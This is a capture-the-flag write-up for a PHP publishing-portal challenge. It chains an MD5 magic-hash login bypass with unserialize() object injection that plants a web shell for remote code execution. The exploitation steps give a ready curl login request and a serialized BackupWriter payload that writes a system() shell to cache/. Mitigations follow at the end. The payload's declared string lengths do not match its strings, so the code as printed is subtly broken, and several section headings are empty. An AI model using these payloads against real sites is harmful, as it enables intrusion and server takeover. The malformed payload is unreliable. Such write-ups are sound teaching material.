Writeup · 31 Nights of Root

Marginalia

webeasy-mediumsolvedFlag: r00t{REDACTED}

Overview

Marginalia Press is a small PHP publishing portal with an “Editor Portal” gated behind a login and a “Restore Manuscript Backup” feature that accepts base64-encoded data. Two distinct bugs chain together:

  1. PHP type juggling in the login check — the classic 0e magic hash collision.
  2. PHP object injection in the restore handler — attacker-controlled unserialize() with a BackupWriter gadget that writes files to a web-served cache/ directory.

Chaining them yields authenticated RCE, and the flag sits in an environment variable of the PHP process.

Prerequisites / Setup

export TARGET="<challenge URL or IP>"

curl is sufficient; no wordlist or credentials are required beyond the disclosed editor_key_hash.

Recon

Step 1 — Inspect the editor portal

Goal: Find the source code and identify the two bugs.

The landing page is a submissions portal (index.php) with two other reachable pages: known_issues.php and editor_portal.php. Viewing the “Known Issues” page source reveals an HTML comment that amounts to a direct hint:

<!-- TODO: remove editor_portal.php.bak from the webroot, leftover from the CMS migration -->

Fetching /editor_portal.php.bak returns the full source of the editor portal.

Vulnerability Analysis

Exploitation

Step 1 — Bypass the login with a magic-hash MD5 collision

Goal: Authenticate as editor by supplying a password whose MD5 hash is a magic hash (0e\d+).

curl -s "$TARGET/editor_portal.php" \
  -d "password=240610708" \
  -d "submit=Login"

Any input whose MD5 digest starts with 0e followed only by digits will authenticate, because PHP’s == compares the hash strings as floating-point numbers.

Step 2 — Restore a malicious backup

Goal: Use object injection to write a PHP shell to the web root.

The restore handler takes base64-encoded data and unserializes it. Crafting a BackupWriter object with a malicious filename and contents writes a PHP shell to cache/:

O:11:"BackupWriter":2:{s:4:"file";s:13:"cache/shell.php";s:7:"content";s:38:"<?php system($_GET['c']); ?>";}

Base64-encode this object and submit it via the restore handler, then visit cache/shell.php?c=id to confirm code execution.

Flag

r00t{REDACTED}

Retrieved from an environment variable of the PHP process after authenticated RCE.

Lessons / Takeaways

  • Never use == to compare password hashes; use hash_equals() (constant-time string comparison) instead.
  • Never unserialize() user-controlled data; use JSON or another safe serialization format instead.
  • Combine defense-in-depth: even if authentication is bypassed, object injection should not lead to file write and RCE.

Mitigations

  • Use hash_equals() for all password/hash comparisons.
  • Never pass user-controlled data to unserialize(); use JSON or a safe serialization format.
  • Validate and restrict file upload targets to prevent writing PHP files to web-served directories.
  • Run the PHP-FPM pool with least-privilege OS credentials and open_basedir restrictions.

Techniques

References